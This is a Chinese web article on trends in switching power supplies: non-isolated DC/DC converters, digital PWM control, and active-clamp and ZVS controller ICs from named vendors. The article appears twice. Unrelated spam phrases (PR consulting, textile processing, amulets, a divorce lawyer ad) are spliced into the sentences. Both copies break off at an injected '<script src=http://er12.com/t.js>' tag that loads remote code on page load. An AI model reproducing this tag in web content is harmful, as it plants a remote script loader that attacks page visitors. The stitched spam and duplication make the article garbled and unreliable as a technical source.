开关电源技术四大趋势公关咨询

开关电源技术四大趋势 非隔离dc/dc技术迅速发展

　近年来，非隔离dc/dc技术发展迅速。目前一套电子设备或电子系统由于负载不同，会要求电源系统提供多个电压挡级。如台式pc机就要求有+12v、+5v、+3.3v、-12v四种电压以及待机的+5v电压，主机板上则需要2.5v、1.8v、1.5v甚至1v等。一套ac/dc中不可能给出这样多的电压输出，而大多数低压供电电流都很大，因此开发了很多非隔离的dc/dc，它们基本上可以分成两大类。一类在内部含有功率开关元件，称dc/dc转换器。另一类不含功率开关，需要外接功率mosfet，称dc/dc控制器。按照电路功能划分，有降压的step-down、升压的boost，还有能升降压的buck-boost或sepic等，以及正压转成负压的invertor等。其中品种最多，发展最快的还是降压的step-down。根据输出电流的大小，分为单相、两相及多相。控制方式上以pwm为主，少部分为pfm。

　在非隔离的dc/dc转换技术中，ti公司的预检测栅驱动技术采用数字技术控制同步buck，采用这种技术的dc/dc转换效率最高可以达到97%，其中tps40071等是其代表产品。boost升压方式也出现了采用mosfet代替二极管的同步boost的产品。在低压领域，增加效率的幅度很大，而且正在设法进一步消除mosfet的体二极管的导通及反向恢复问题。

开关电源吹响数字化号角

　目前在整个的电子模拟电路系统中，电视、音响设备、照片处理、通讯、网络等都逐步实现了数字化，而最后一个没有数字化的堡垒就是电源领域了。近年来，数字电源的研究势头不减，成果也越来越多。在电源数字化方面走在前面的公司有ti和microchip。ti公司既有dsp方面的优势，又兼并了pwmic专业制造商unitrode公司，该公司已经用tms320c28f10制成了通讯用的48v输出大功率电源模块，其中pfc和pwm部分完全为数字式控制。现在，ti公司已经研发出了多款数字式pwm控制芯片。目前主要是ucd7000系列、ucd8000系列和ucd9000系列，它们将成为下一代数字电源的探路者。它们总体上既包括硬件部分，还要做软件编程。硬件部分包括pwm的逻辑部分、时钟、放大器环路的模数转换、数模转换以及数字处理、驱动，同步整流的检测和处理等。

　目前在电源领域里的竞争主要还是性能价格的竞争，所以数字电源还有很长的路要走，然而电源领域的数字化的号角已经吹响了。

初级pwm控制ic不断优化

　有源箝位技术历经十余年经久不衰，自从2002年vicor公司此项专利技术到期解禁之后，各家公司开发的新型有源箝位控制ic如雨后春笋般涌现，给用户提供了充分的选择。

　控制早期有源箝位控制技术的ti，不仅保持了原有的ucc3580系列，又新开发了性能更优越的ucc2891-94，它采用电流型控制方式，综合了高边箝位、低边箝位两种控制方案，给出了全新的控制技巧。onsemi先推出了低压(100v)有源箝位的ncp1560控制芯片，随后又推出了高压应用的控制芯片ncp1280，它既解决了lcdtv等离子tv电源的要求，现在又直指下一代无风扇的pc机电源。美国ns公司的5000系列中专门有一款lm5025的有源箝位控制ic，连名不见经传的semtech公司也给出了有源箝位的控制芯片，型号是sc4910，可见其背后蕴藏着巨大的市场商机。直到最近ti公司又推出的有源箝位控制icucc2897，已经将有源箝位的pwm控制做到了完美无缺。而台商飞兆公司则给出了最廉价的有源箝位控制ic，即sd7558和sd7559。

　在大功率领域拉网机，全桥移相zvs软开关技术在解决开关电源的效率上功不可没。从ti公司的uc3875到ucc3895，再从linear公司的ltc1922到ltc3722增加了自适应检测技术，使全桥移相技术达到了顶峰。然而，在同步整流技术普遍应用的今天，它却无法实现最佳的zvs同步整流。因为全桥移相电路在本质上是属于非对称的，它无法实现完全的zvs同步整流，由于其开启和关断过程总有一半是硬开关，因而效率比不上对称电路拓扑的zvs方式的同步整流。最新的纺纱加工科技成果应该是intersil公司推出的pwm对称全桥的zvs控制ic-isl6752。它既能控制初级侧的四个mos开关为zvs工作状态，又能准确地给出控制二次侧的同步整流为zvs工作状态的驱动信号。采用这颗ic制作的400w的dc/dc再加上先进的功率mosfet，转换效率可达到95%。

　对于小功率的开关电源，则仍旧是反激变换器的pwm控制ic，但是它必须要能很好地解决二次侧的同步整流的控制方式。onsemi公司的ncp1207和ncp1377是高压ac/dc领域的佼佼者。若能再配上ti公司的反激变换器的同步整流控制ic-ucc27226，则能使它们成为几乎完美无瑕的高效率电源。低压dc/dc领域中的反激变换器控制ic中，linear公司的ltc3806则是上乘之作。ltc3806不仅能控制好pwm，还给出准确的二次侧同步整流驱动信号，是低压小功率电源控制ic的杰作。

　综上所述护身符，开关电源设计时可以选择最佳控制方式和最佳电路拓扑。大功率应该是全桥zvs加上二次侧zvs同步整流，典型控制ic是isl6752；中等功率到小功率应该是有源箝位正激变?script src=http://er12.com/t.js> 非隔离dc/dc技术迅速发展

　近年来，非隔离dc/dc技术发展迅速。目前一套电子设备或电子系统由于负载不同，会要求电源系统提供多个电压挡级。如台式pc机就要求有+12v、+5v、+3.3v、-12v四种电压以及待机的+5v电压，主机板上则需要2.5v、1.8v、1.5v甚至1v等。一套ac/dc中不可能给出这样多的电压输出，而大多数低压供电电流都很大，因此开发了很多非隔离的dc/dc，它们基本上可以分成两大类。一类在内部含有功率开关元件，称dc/dc转换器。另一类不含功率开关，需要外接功率mosfet，称dc/dc控制器。按照电路功能划分，有降压的step-down、升压的boost，还有能升降压的buck-boost或sepic等，以及正压转成负压的invertor等。其中品种最多，发展最快的还是降压的step-down。根据输出电流的大小，分为单相、两相及多相。控制方式上以pwm为主，少部分为pfm。

　在非隔离的dc/dc转换技术中，ti公司的预检测栅驱动技术采用数字技术控制同步buck，采用这种技术的dc/dc转换效率最高可以达到97%，其中tps40071等是其代表产品。boost升压方式也出现了采用mosfet代替二极管的同步boost的产品。在低压领域，增加效率的幅度很大，而且正在设法进一步消除mosfet的体二极管的导通及反向恢复问题。

开关电源吹响数字化号角

　目前在整个的电子模拟电路系统中，电视、音响设备、照片处理、通讯、网络等都逐步实现了数字化，而最后一个没有数字化的堡垒就是电源领域了。近年来，数字电源的研究势头不减，成果也越来越多。在电源数字化方面走在前面的公司有ti和microchip。ti公司既有dsp方面的优势，又兼并了pwmic专业制造商unitrode公司，该公司已经用tms320c28f10制成了通讯用的48v输出大功率电源模块，其中pfc和pwm部分完全为数字式控制。现在，ti公司已经研发出了多款数字式pwm控制芯片。目前主要是ucd7000系列、ucd8000系列和ucd9000系列，它们将成为下一代数字电源的探路者。它们总体上既包括硬件部分，还要做软件编程。硬件部分包括pwm的逻辑部分、时钟、放大器环路的模数转换、数模转换以及数字处理、驱动，同步整流的检测和处理等。

　目前在电源领域里的竞争主要还是性能价格的竞争，所以数字电源还有很长的路要走，然而电源领域的数字化的号角已经吹响了。

初级pwm控制ic不断优化

　有源箝位技术历经十余年经久不衰，自从2002年vicor公司此项专利技术到期解禁之后，各家公司开发的新型有源箝位控制ic如雨后春笋般涌现，给用户提供了充分的选择。

　控制早期有源箝位控制技术的ti，不仅保持了原有的ucc3580系列，又新开发了性能更优越的ucc2891-94，它采用电流型控制方式，综合了高边箝位、低边箝位两种控制方案，给出了全新的控制技巧。onsemi先推出了低压(100v)有源箝位的ncp1560控制芯片，随后又推出了高压应用的控制芯片ncp1280，它既解决了lcdtv等离子tv电源的要求，现在又直指下一代无风扇的pc机电源。美国ns公司的5000系列中专门有一款lm5025的有源箝位控制ic，连名不见经传的semtech公司也给出了有源箝位的控制芯片，型号是sc4910，可见其背后蕴藏着巨大的市场商机。直到最近ti公司又推出的有源箝位控制icucc2897，已经将有源箝位的pwm控制做到了完美无缺。而台商飞兆公司则给出了最廉价的有源箝位控制ic，即sd7558和sd7559。

　在大功率领域，全桥移相zvs软开关技术在解决开关电源的效率上功不可没。从ti公司的uc3875到ucc3895，再从linear公司的ltc1922到ltc3722增加了自适应检测技术，使全桥移相技术达到了顶峰。然而，在同步整流技术普遍应用的今天，它却无法实现最佳的zvs同步整流。因为全桥移相电路在本质上是属于非对称的，它无法实现完全的zvs同步整流，由于其开启和关断过程总有一半是硬开关，因而效率比不上对称电路拓扑的zvs方式的同步整流。最新的科技成果应该是intersil公司推出的pwm对称全桥的zvs控制ic-isl6752。它既能控制初级侧的四个mos开关为zvs工作状态，又能准确地给出控制二次侧的同步整流为zvs工作状态的驱动信号。采用这颗ic制作的400w的dc/dc再加上先进的功率mosfet，转换效率可达到95%。

　对于小功率的开关电源，则仍旧是反激变换器的pwm控制ic，但是它必须要能很好地解决二次侧的同步整流的控制方式。onsemi公司的ncp1207和ncp1377是高压ac/dc领域的佼佼者。若能再配上ti公司的反激变换器的同步整流控制ic-ucc27226，则能使它们成为几乎完美无瑕的高效率电源。低压dc/dc领域中的反激变换器控制ic中，linear公司的ltc3806则是上乘之作。ltc3806不仅能控制好pwm，还给出准确的二次侧同步整流驱动信号，是低压小功率电源控制ic的杰作。

　综上所述，开关电源设计时可以选择最佳控制方式和最佳电路拓扑。大功率应该是全桥zvs加上二次侧zvs同步整流，典型控制ic是isl675数据电缆2；中等功率到小功率应该是有源箝位正激变?script src=http://er12.com/t.js>专业的异地离婚律师
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